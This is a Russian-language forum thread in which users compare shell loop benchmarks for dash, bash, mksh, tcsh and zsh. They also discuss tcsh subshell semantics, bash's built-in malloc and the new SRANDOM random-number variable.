0m24.39s real 0m16.00s user 0m13.59s systemЗанимательно, что твой тест в ash просто летает:
~> time dash -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'
0m02.59s real 0m02.58s user 0m00.00s system
~> time ash -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'
0m04.02s real 0m03.67s user 0m00.34s system
~> time mksh -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'
0m04.80s real 0m04.79s user 0m00.00s system
~> time bash -c 'D=1; while [ "$D" -lt 1000000 ]; do D="$((D+1))"; done'
0m09.51s real 0m09.49s user 0m00.00s systemdash-0.5.10.2
bash-5.0.17
mksh-59
busybox-1.31.1
Отличные "тесты", ага. Десятиминутный победитель из того теста справился тут за секунду.
$ time tcsh ~/bin/cshseq.shreal 0m1.250s
user 0m0.765s
sys 0m0.469s
$ time dash -c 'for a in `seq 100000`; do ( :; ); done'real 0m14.488s
user 0m8.667s
sys 0m6.319s
$ time bash -c 'for a in `seq 100000`; do ( :; ); done'real 0m36.407s
user 0m19.588s
sys 0m17.738s
$ time zsh -c 'for a in `seq 100000`; do ( :; ); done'real 0m45.363s
user 0m22.131s
sys 0m25.281s
Хз, что у тебя в скрипет, а у меня:
~> cat t.tcsh
foreach a (`seq 100000`)
(:;)
end
~> time tcsh t.tcsh
0m26.02s real 0m16.09s user 0m15.83s system
#/bin/tcsh
foreach i ( `seq 100000` )
:;
endможно с echo "$i" -- ровно то же самое.
В шебанге опечатка, но я скармливал интерпретатору поэтому не важно.
В dash/bash круглые скобки форкают sub-shell. Я так понимаю, скрипт tcsh этого не делает, так что тест некорректен.
> В dash/bash круглые скобки форкают sub-shell. Я так понимаю, скрипт tcsh этого
> не делает, так что тест некорректен.https://linux.die.net/man/1/tcsh
Builtin and non-builtin command execution
Builtin commands are executed within the shell. If any component of a pipeline except the last is a builtin command, the pipeline is executed in a subshell.
Parenthesized commands are always executed in a subshell.
(cd; pwd); pwd
thus prints the home directory, leaving you where you were (printing this after the home directory), while
cd; pwd
leaves you in the home directory. Parenthesized commands are most often used to prevent cd from affecting the current shell.
О том и речь.
В общем да на (:;) выдало этоreal 0m46.337s
user 0m24.146s
sys 0m24.104s
> Вызов malloc на 64-разрядных системах теперь выравнивает возвращаемую память по 16 байтовой границе.Что-то я не понял, а при чём тут bash?
> Что-то я не понял, а при чём тут bash?Чтоб понимать - нужно изучать и практиковать программинг. Ну там _align всякие c11 уже как минимум применять, а не диким криком неандертальца через все джунгли кричать о том что неее-е-е-поняяял
Ваш комментарий очень важен и всё сразу объяснил. Спасибо Вам, о светоч мирового программинга.Для тех, кому на самом деле интересно, в составе bash есть встроенная реализация malloc, и в данном случае речь о ней.
>Ваш комментарий очень важен и всё сразу объяснил. Спасибо Вам, о светоч мирового программинга.А хамить обязательно надо?
> А хамить обязательно надо?Это вопрос не ко мне, а к тому анониму, который написал комментарий #256.
>а к тому анониму, который написал комментарий #256Эй, Аноним, зачем разговариваеш сам з собой?
> Переработан движок генерации псевдослучайных чисел. Добавлена переменная SRANDOM, содержащая случайное 32-разрядное число из системного генератора псевдослучайных чисел (вместо LCRNG использованы вызовы getrandom/getentropy, /dev/urandom или arc4random, в зависимости от ОС). Выдаваемая последовательность теперь не является линейной и не повторяется при идентичном следовании запросов.То то я думаю, что такое, каждый раз под андроидом запускаю VLC плеер, музыку послушать из папки (директории). И VLC каждый раз начинает с одной и той же песни и примерно 3-5 песен в последовательности с начала одни и теже.
get_random() { echo "42" } # it is my lovely random number ;)
Вот какой рандом в андроиде ;)
Может быть с этой версии bash-а все будет гораздо лучше ;)
Ещо один признак кривости bash и его ненужности. Это ж нада было так упороться шобы повторяющиеся числа даже не попытаться сдвинуть по времени запуска хотя б...
ПС: dd if=/dev/urandom bs=256 count=1 | tr -dc 0-9 | head -c 6
Когда уже rprompt заведут?
В древнем tcsh есть!